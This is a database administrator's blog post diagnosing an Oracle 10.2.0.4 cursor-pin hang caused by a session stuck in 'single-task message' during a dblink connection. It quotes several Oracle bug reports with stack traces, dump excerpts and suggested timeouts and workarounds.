------ -------- --------- --------
0 70000043d1b61e8 70000043d1b5e58 700000410dd46c8                                 -- the child cursor
DATA BLOCKS:
data#     heap  pointer    status pins change whr
----- -------- -------- --------- ---- ------ ---
0 7000004467f6078 70000041d78b1e0  I/P/A/-/-    0 NONE   00                                      --  heap 0

The session is active,and its wait history indicates there are some dblink operation inside the running SQL, When this session waited to reparse the only child cursor for that SQL , it pin this child cursor in X mode first,and then it need more information from remote DB , but no response until SQL*NET MESSAGE from DBLINK timeout,it was waiting single-task message for more than 6 seconds when tracing.

In this scenario other sessions who wait to execute this child cursor were all waiting , so sadly.

The oracle document describes <single-task message> as When running single task, this event indicates that the session waits for the client side of the executable.

A little odd,the blocked also did some single task when it lost one dblink connection.

I searched the metalink with keyword: single-task message, there were few documents  found , but fortunately below note:

Hdr: 7757687 10.2.0.3.0 RDBMS 10.2.0.3.0 PRG INT/DISTR PRODID-5 PORTID-212
Abstract: CURSOR: PIN S WAIT ON X BLOCKER “SINGLE-TASK MESSAGE”

PROBLEM:
——–
The databse has multiple processes waiting on “CURSOR: PIN S WAIT ON X”

The holder of the mutes is waiitng on “single-task message” form almost
745687
seconds.
The query run by the holder  does conatin a dblink.

DIAGNOSTIC ANALYSIS:
——————–
All the  process waiting on the same mutex:-

waiting for ‘cursor: pin S wait on X’ blocking sess=0x0
idn=5d779f21, value=7af00000000, where|sleeps=57a0dfdb6

Holder
PROCESS 26:
KGX Atomic Operation Log 700000061490300
Mutex 70000006226e0f0(1967, 0) idn 5d779f21 oper EXCL
Cursor Pin uid 1967 efd 0 whr 1 slp 0
opr=3 pso=7000000670f93a0 flg=0
pcs=70000006226e0f0 nxt=0 flg=35 cld=0 hd=7000000606838f0
par=7000000629006a8
ct=0 hsh=0 unp=0 unn=0 hvl=62900980 nhv=1 ses=700000079543fe0
hep=70000006226e170 flg=80 ld=1 ob=700000062fe69a8
ptr=700000065f124f8 fex=700000065f11808

Session object for this process:-

SO: 700000079543fe0, type: 4, owner: 70000007a6ad538, flag: INIT/-/-/0x00
(session) sid: 1967 trans: 0, creator: 70000007a6ad538, flag: (41)
USR/- BSY/-/-/-/-/-
DID: 0001-001A-00000A38, short-term DID: 0001-001A-00000A39
txn branch: 0
oct: 3, prv: 0, sql: 700000062900e18, psql:
70000005d797bc8, user: 21/V500
O/S info: user: d_c11, term: , ospid: 6271140, machine: aruput5
program: cpm_srvscript@aruput5 (TNS V1-V3)
application name: cpm_srvscript@aruput5 (TNS V1-V3), hash value=0
waiting for ‘single-task message’ blocking sess=0x0 seq=7071
wait_time=0 seconds since wait
started=745687

This bug which occurs on Version 10.2.0.3 is so similar to my case on AIX version 10.2.0.4, so as the stack trace:

ksdxfstk+002c<-ksdxcb+04e4<-sspuser+0074<-000044C0<-nttrd+0120<-nsprecv+07a0<-
nscon+0218<-nsdo+157c<-nscall3+012c<-nscall+0778<-niotns+0888<-nigcall+0028<-osnco
n+0540<-kpkiadef+006c<-upiini+03fc<-upiah0+00ac<-kpuatch+0808<-OCIServerAttach+011
4<-kpnconn+02a4<-npicon0+042c<-kpndbcon+0630<-OCIKDBLinkConn2+0038<-OCIKDBLinkConn
+002c<-ddfnet2Normal+011c<-kkmfcbrm+009c<-kkmpfcbk+02a0<-qcsprfro+0538<-qcsprfro_tree
+0318<-qcsprfro_tree+01c8<-qcspafq+0068<-qcspqb+0470<-kkmdrv+003c<-opiSem+13b4<-opiDe
ferredSem+0234<-opitca+01e8<-kksFullTypeCheck+001c<-rpiswu2+034c<-kksLoadChild+30b0<-
kxsGetRuntimeLock+0810<-kksfbc+2930<-kkspsc0+0ffc<-kksParseCursor+00d4<-opiosq0+0b30<
-kpooprx+0168<-kpoal8+0400<-opiodr+0adc<-ttcpip+1020<-opitsk+10b0<-opiino+0990<-opiod
r+0adc<-opidrv+0474<-sou2o+0090<-opimai_real+01bc<-main+0098<-__start+0098

My case stack trace:
ksdxfstk+002c<-ksdxcb+04e4<-sspuser+0074<-000044C0<-nttcni+01b8<-nttcon+04f4<-ntconn+0160<
-nsopen+0960<-nscall1+01b0<-nscall+049c<-niotns+0880<-nigcall+0028<-osncon+0540<-kpkiadef+006c<
-upiini+0408<-upiah0+00ac<-kpuatch+0808<-OCIServerAttach+0114<-kpnconn+02a4<-npicon0+042c<
-kpndbcon+0630<-OCIKDBLinkConn2+0038<-OCIKDBLinkConn+002c<-ddfnet2Normal+011c<-kkmfcbrm+009c<
-kkmpfcbk+02a0<-qcsprfro+0538<-qcsprfro_tree+03f0<-qcsprfro_tree+0228<-qcspafq+0068<
-qcspqbDescendents+03a0<-qcspqb+00ac<-qcsevw+02e0<-kkmevw+0a58<-kkmfcbvw+0178<
-kkmfcblo+0e38<-kkmpfcbk+0250<-qcsprfro+0538<-qcsprfro_tree+03f0<-qcsprfro_tree+0228<
-qcspafq+0068<-qcspqbDescendents+03a0<-qcspqb+00ac<-qcsevw+02e0<-qcsfpsq+003c<
-kkmfcbsq+01e8<-kkmpfcbk+0260<-qcsprfro+0538<-qcsprfro_tree+03f0<-qcsprfro_tree+0228<
-qcspafq+0068<-qcspqbDescendents+03a0<-qcspqb+00ac<-qcsevw+02e0<-qcsfpsq+003c<
-kkmfcbsq+01e8<-kkmpfcbk+0260<-qcsprfro+0538<-qcsprfro_tree+03f0<-qcsprfro_tree+0228<
-qcspafq+0068<-qcspqbDescendents+03a0<-qcspqb+00ac<-kkmdrv+003c<-opiSem+13c0<
-opiprs+01ac<-kksParseChildCursor+05e0<-rpiswu2+034c<-kksLoadChild+1d88<
-kxsGetRuntimeLock+0810<-kksfbc+28b0<-kkspsc0+0ffc<-kksParseCursor+00d4<-opiosq0+0ae0<
-kpooprx+0168<-kpoal8+0400<-opiodr+0ae0<-ttcpip+1020<-opitsk+1124<-opiino+0990<-opiodr+0ae0<
-opidrv+0484<-sou2o+0090<-opimai_real+01bc<-main+0098<-__start+0098

Both of them have called OCIKDBLinkConn->OCIKDBLinkConn2->kpndbcon->npicon0->kpnconn->OCIServerAttach->kpuatch and follow.
Till now this bug has no patch to apply or workaround way what’s awful.

As “Bug 5111335: STREAMS PROPAGATION STUCK ON “SINGLE-TASK MESSAGE” PRODUCE LIBRARY CACHE LOCK CO” described:

Hdr: 5111335 10.2.0.2 RDBMS 10.2.0.2 STREAMS PRODID-5 PORTID-226
Abstract: STREAMS PROPAGATION STUCK ON “SINGLE-TASK MESSAGE” PRODUCE LIBRARY CACHE LOCK CO
This is a three cluster environment. Two nodes per cluster and on that
cluster running RAC with 2 instances.
The databases involved are:

GCTGCMU is the “GCT” database in GCM = Greenwich USA, will be named USA from
now on
GCTHKGU is the “GCT” database in HKG = Hong Kong, will be named HKG from now
on
GCTLONU is the “GCT” database in LON = London, will be named LON from now on

On this environment there is a Streams bi-directional replication environment
defined between the 3 databases.

USA database is propagating changes captured to LON and HKG.
There are two propagations defined from this site to every site. 4
propagations as a total.

GCTHKGU_BATCH_PROPAGATE
GCTLONU_BATCH_PROPAGATE
GCTHKGU_DAILY_PROPAGATE
GCTLONU_DAILY_PROPAGATE

Daily propagation propagates changes stored on streams queue
STRMADMIN.STREAMSOUT_DAILY.
Batch propagation propagates changes stored on streams queue
STRMADMIN.STREAMSOUT_BATCH

This databases have been upgraded to 10.2.0.2 from 10.2.0.1 last 13-Mar-2006,
and no problems were reported.

Customer reported that he could see that propagations from USA to HKG were
stucked on library cache lock.
This situation was solved by customer by bouncing USA instances.

Analyzing the systemstate dumps we could see that there were propagations
locked on this situation and QMON slaves too.
The library cache lock was on the queue STRMADMIN.STREAMSOUT_DAILY and the
owner of the lock was process J000 that was stucked ‘single-task message’.

From the information on the systemstate dump we can see that this process has
been on that situation for more than 3 days and 20 hours.
Based on the call stack it seems that the process was about or in the middle
of a call to a listener.

DIAGNOSTIC ANALYSIS:
——————–
Files to be uploaded:

USA:
– RDA.zip , RDA node 1
– GCTGCMU1_healthchk.html, streams healthcheck node 1
– GCTGCMU1_healthchk.html, streams healthcheck node 2
– gctgcmu2_ora_21349.trc, hanganalyze and systemstate dumps when the hang is
ocurring. Node 2
– gctgcmu1_ora_858.trc, hanganalyze and systemstate dumps when the hang is
ocurring. Node 1.

HKG:
– alert_GCTHKGU1.log, alert log file node 1
– alert_GCTHKGU2.log, alert log file node 2
– listener_hkg0223xus.log_20060320, listener log file node 1.
– listener_hkg0224xus.log_20060319, listener log file node 2.

LON:
– alert_GCTLONU1.log, alert log file node 1
– alert_GCTLONU2.log, alert log file node 2
– listener_lon0223xus.log_20060318, listener log file node 1.
– listener_lon3166xus.log_20060320, listener log file node 2.

Hang was identified at USA on node 1.

Analysis of gctgcmu1_ora_858.trc:

System State 1
~~~~~~~~~~~~~~
21: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=21
42: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=404
51: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=17
67: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=90
71: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=56
76: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=344
Cmd: PL/SQL Execute
77: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=87

System State 2
~~~~~~~~~~~~~~
21: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=21
42: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=404
51: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=17
67: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=90
71: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=56
76: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=344
Cmd: PL/SQL Execute
77: waiting for ‘library cache lock’ [LOCK: handle=25ea4afc8] seq=87

LOCK: handle=25ea4afc8 QUEU:STRMADMIN.STREAMSOUT_DAILY

Resource Holder State
LOCK: handle=25ea4afc8 50: waiting for ‘single-task message’

PROCESS 50:
~~~~~~~~~~~

OSD pid info: Unix process pid: 12949, image: oracle@slodb001 (J000)

From the call stack looks like process was doing an SQL*Net connection to a
listenerand doing this
connection we get hanged because the stack trace is the same for the two
process dumps shown on
both system states.

(session)
oct: 0, prv: 0, sql: (nil), psql: (nil), user: 92/STRMADMIN
waiting for ‘single-task message’ blocking sess=0x(nil) seq=5 wait_time=0
seconds since wait
started=332308
=0, =0, =0

It is running a propagation job: next_date :=
sys.dbms_aqadm.aq$_propaq(job);

Knowing that the seconds in wait are 332308 and the dump of the process
occurred on 2006-03-21 08:15:12.640,
this process is waiting on this event:

1. On USA the process is waiting since 17-MAR-2006 11:56:44
2. That time on London is 17-MAR-2006 16:56:44
3. That time on HONG KONG is 18-MAR-2006 01:56:44

At that time nothing relevant was found on alert log files on listener log
files.

Processes waiting on library cache lock
~~~~~~~~~~~~~~~

21 (PZ99) : Slave of J002
42 (q004) : Slave of process 44 (QMNC)
51 (J001) :
67 (q003) : Slave of process 44 (QMNC)
71 (q005) : Slave of process 44 (QMNC)
51 (TNS shadow) :
77 (q007) : Slave of process 44 (QMNC)

WORKAROUND:
———–
No workaround found so far.
Killing the process or bouncing instance should solve the problem.

RELATED BUGS:
————-
No similar bugs found.

This environment is also involved on bug 5089630

REPRODUCIBILITY:
—————-
Problem has reproduced just one time on customer site.

TEST CASE:
———-

STACK TRACE:
————
For processes waiting on library cache lock we can see different call stacks,
here is the one for process 21:

ksdxfstk ksdxcb sspuser pthread_sighandler_rt GI___libc_sigaction GI___poll
kslwait kjusuc ksipgetctx kqlmli kgllkal kglget
kglgob kwqicgob kwqicrqo0 kwqmsnrmsg kwqsldqs kwqsif
qerfxFetch qervwFetch qertqoFetch qerpxSlaveFetch qerpxFetch
opiexe kpoal8 opiodr kpoodr upirtrc kpurcsc kpuexecv8 kpuexec OCIStmtExecute

kxfxsStmtExecute kxfxsExecute kxfxsp kxfxmai kxfprdp opirip opidrv sou2o
opimai_real main __libc_start_main _start

For process waiting on single-task message, we can see the following call
stack:

ksdxfstk ksdxcb sspuser pthread_sighandler_rt GI___libc_sigaction GI___poll
clntudp_call do_ypcall yp_match internal_gethostbyname2_r
nss_nis_gethostbyname_r
gethostbyname_r
gethostbyname snlpcgthstbynm snlinGetAddrInfo nttbnd2addr ntacbbnd2addr
ntacbnd2addr
nsc2addr nscall1 nscall niotns nigcall osncon
kpkiadef upiini upiah0 kpuatch OCIServerAttach kpnconn
npicon0 kpndbcon OCIKDBLinkConn2 OCIKDBLinkConn kwqpcon kwqpgps
spefmccallstd pextproc peftrusted psdexsp rpiswu2 psdextp pefccal pefca
pevm_FCAL pfrinstr_FCAL pfrrun_no_tool pfrrun plsql_run peicnt kkxexe opiexe
opiodr rpidrus skgmstack rpidru rpiswu2 rpidrv rpiexe kkjex1e kkjsexe kkjrdp

opirip opidrv sou2o opimai_real main libc_start_main start

I do not see any Oracle bug here but it is hard to be
certain without the SQLNET.ORA settings and multiple
snapshots of the problem process. It is quite valid
for an Oracle session to be holding a library cache lock
when it makes an outbound DBlink call. If another session
wants that lock in an incompatible mode then it has to wait.

In this case the blocking session making the outbound link
call appears from the one stack dump to be in OS code
under gethostbyname().
However it could have been spinning down the stack in
Oracle code but I cannot comment on the info we have.

The “single-task message” wait event is started / ended
in kpnconn() so if there was a “spin” it would have to be
above that point in the stack.

In 10.2 there is the option to configure NET to timeout
on outbound connect attempts by setting
SQLNET.OUTBOUND_CONNECT_TIMEOUT = N seconds.
The timeout occurs in niotns() in the stack so if this
is set you would expect a session in this state to then
timeout which may be useful if there are underlying issues with
TCP hostname resolution.
(Watch out for bug 4933023 if you use this SQLNET parameter).

If the issue recurs then get CPU usage info, multiple stacks
and you may want to attach with gdb and see if the code ever
returns above gethostbyname or not to get an idea if this

Sorry , my explanation is probably not clear .

Here is the stack you have but annotated:

Callback to get the short stack. Confirms we are not HUNG in a device
driver.
ksdxfstk
ksdxcb
sspuser
pthread_sighandler_rt
GI___libc_sigaction

Inside OS supplied code executing gethostbyname() C call.
GI___poll
clntudp_call
do_ypcall
yp_match
internal_gethostbyname2_r
nss_nis_gethostbyname_r
gethostbyname_r
gethostbyname

Oracle Net code:
snlpcgthstbynm
snlinGetAddrInfo
nttbnd2addr
ntacbbnd2addr
ntacbnd2addr
nsc2addr
nscall1
nscall
niotns <<< This is where SQLNET.OUTBOUND_CONNECT_TIMEOUT
is implemented IF it has been configured.
nigcall

Oracle RDBMS code:
osncon
kpkiadef
upiini
upiah0
kpuatch
OCIServerAttach
kpnconn <<< This is where “single-task message” starts/ends
npicon0

If we just get two stack snapshots of the process, as was the case, and
both have the above stack then we can say:
As the “seq=” of both snaps is the same (5) then we did not return
below kpnconn() in the call stack.

But as poll() is typically a blocking call, even if only for a short
time, then we cannot be sure if this process was blocked permanently
in the poll() waiting on some large timout or similar, or if the
code was executing and looping. If it was looping it could have done so
at any point on the above stack down to kpnconn() where we would have
changed the seq# on the wait event if we exited here.

We can say that as the short stack dump triggered a callout then the
Linux kernel was not stuck inside a device driver.

We can also say it looks like the gethostbyname is in YP code doing a UDP
call so at OS level you may want to check out the name resolution
configuration. You probably dont want to be falling all the way back to
UDP requests to get hostnames resolved.

So if the problem recurs it would help to get:
ps information of the process (to see if it uses CPU at all)

strace for a few minutes – this should help show if the
process is entering / leaving any system call (eg: poll)

A full call stack with arguments from either gdb or errorstack
and these should help show the arguments passed up the stack.

In gdb you can also do something like attach to the problem process
and :
break osncon
break nigcall
break niotns
etc.. up the stack to gethostbyname and then “cont”
and it should stop if it enters into those functions from below
helping indicate a spin/loop point below that point.

It may also be worth getting Linux “crash” information for the
process to see what the process looks like from the Linux side
but follow up with the OS team on that side.

SQLNET.OUTBOUND_CONNECT_TIMEOUT is a backup mechanism to help prevent

This note claimed that one session may hold library cache lock , and wait in single-task message
after it makes an outbound DBlink call.If another session wants that lock in an incompatible mode then it has to wait.
The “single-task message” wait event is started / ended in kpnconn() so if there was a “spin” it would have to be
above that point in the stack. Oracle support advise to set SQLNET.OUTBOUND_CONNECT_TIMEOUT so that
we can expect a session in this state to then timeout which may be useful if there are underlying issues with
TCP hostname resolution. The principle in these cases is identical.
Do deep digging ,you can see this Knowledge:

Hdr: 8427478 10.2.0.3 RDBMS 10.2.0.3 PI/DISTRIB PRODID-5 PORTID-23 ORA-12170
Abstract: WHEN USING DBLINK,IT CONNECT TWICE AND TAKE DOBULE-TIME FOR TIME-OUT( ORA-12170)
PROBLEM:
——–
When client connect to database using TCP/IP, if there are some problems
in the network and server , The client recevies ORA-12170 (ETIMEDOUT)
The timeout time is depend on OS TCP parameter.(e.g. tcp_syn_retries
parameter on Linux platform).

ERROR:
ORA-12170 : TNS:Connect timeout occurred

** sqlnet.log ***************************************************
VERSION INFORMATION:
TNS for Linux: Version 10.2.0.3.0 – Production
TCP/IP NT Protocol Adapter for Linux: Version 10.2.0.3.0 – Production
Time: 10-APR-2009 21:38:41
Tracing not turned on.
Tns error struct:
ns main err code: 12535
TNS-12535: TNS:operation timed out
ns secondary err code: 12560
nt main err code: 505
TNS-505: Operation timed out
nt secondary err code: 110 <= ETIMEDOUT nt OS err code: 0 Client address:
** sqlnet.log ***************************************************

client server
| |
connect() |
|——-x–>|——–
| SYN | |
|——-x–>| |
| SYN | |
|——-x–>| |
| SYN | |when setting tcp_syn_retries=5(default)
|——-x–>| | It takes about 189 seconds for time-out.
| SYN | |
|——-x–>| |
| SYN | |
|——-x–>| |
| SYN | |
———————
ORA-12170 occur.

But, the connection via DBLINK, it sometimes try to connect twice. and
it takes double-time for time-out.

local site remote site
| |
connect() |
|——-x–>|——–
| SYN | |
|——-x–>| |
| SYN | |
|——-x–>| |
| SYN | |
|——-x–>| |
| SYN | |
|——-x–>| |
| SYN | |
|——-x–>| |
| SYN | |
ORA-12170 occur ,but it not returning to client.
and server process of local site try to connect automatically.(2nd connect)
connect() | |
|——-x–>| |
| SYN | |
|——-x–>| | It takes about 378 seconds for time-out.
| SYN | |
|——-x–>| |
| SYN | |
|——-x–>| |
| SYN | |
|——-x–>| |
| SYN | |
|——-x–>| |
| SYN | |
———————
ORA-12170 occur.

The problem is that it takes dobule-time by this behavior using DBLINK.

DIAGNOSTIC ANALYSIS:
——————–
We got stack trace when trying connect.

1st connect
connect()+36<- nttcon()+965<- ntconn()+265<- nsopen()+1335 <- nscall1()+449<- nscall()+609<- niotns()+1678<- nigcall()+112 <- osncon()+692<- kpkiadef()+58<- upiini()+683<- upiah0()+104 <- kpuatch()+1064<- OCIServerAttach()+129<- kpnconn()+463 <- npicon0()+1250<- kpndbcon()+909<- OCIKDBLinkConn2()+40 <- OCIKDBLinkConn()+36<- ddfnet3Share()+151<- kksarm()+480<- kksauc()+481 <- kksCheckCriteria()+1711<- kksCheckCursor()+226 <- kksSearchChildList()+1496 <- kksfbc()+10276<- kkspsc0()+1903<- kksParseCursor()+132<- opiosq0()+1349 <- kpooprx()+215<- kpoal8()+673<- opiodr()+985<- ttcpip()+1093<- opitsk()+1031 <- opiino()+821<- opiodr()+985<- opidrv()+466<- sou2o()+91<- opimai_real()+117 <- main()+111<- __libc_start_main()+161 2nd connect <- connect()+36<- nttcon()+965<- ntconn()+265<- nsopen()+1335<- nscall1()+449<- nscall()+609 <- niotns()+1678<- nigcall()+112<- osncon()+692<- kpkiadef()+58<- upiini()+683<- upiah0()+104 <- kpuatch()+1064<- OCIServerAttach()+129<- kpnconn()+463<- npicon0()+1250<- kpndbcon()+909 <- OCIKDBLinkConn2()+40<- OCIKDBLinkConn()+36<- ddfnet2Normal()+204<- kkmfcbrm()+132 <- __PGOSF172_kkmpfcbk()+473<- qcsprfro()+503<- qcsprfro_tree()+302<- qcsprfro_tree()+118 <- qcspafq()+102<- qcspqb()+347<- kkmdrv()+60<- opiSem()+1044<- opiDeferredSem()+283 <- opitca()+275<- __PGOSF302_kksFullTypeCheck()+20<- rpiswu2()+334<- kksLoadChild()+5852 <- kxsGetRuntimeLock()+1314<- kksfbc()+12270<- kkspsc0()+1903<- kksParseCursor()+132 <- opiosq0()+1349<- kpooprx()+215<- kpoal8()+673<- opiodr()+985<- ttcpip()+1093 <- opitsk()+1031<- opiino()+821<- opiodr()+985<- opidrv()+466<- sou2o()+91<- opimai_real()+117 <- main()+111<- __libc_start_main()+161<- WORKAROUND: ----------- execute following command before connect. SQL> alter system flush shared_pool;

You can find the kpnconn call in stack trace , so the single-task message may occur in two time dblink reconnect and take a long time.
The document provide one workaround way: flush shared_pool.which I suspected.
In summary , still no Mature program to resolve this problem , All we can do is pray.
In my opinion , Version 10.2.0.4 is stable enough within most layer , but still a lots of bug or unexpected behavior reside in K2(kernel Distributed Execution Layer). Distributed system is a really complicated subject in computer science.

沪ICP备14014813号-2

沪公网安备 31010802001379号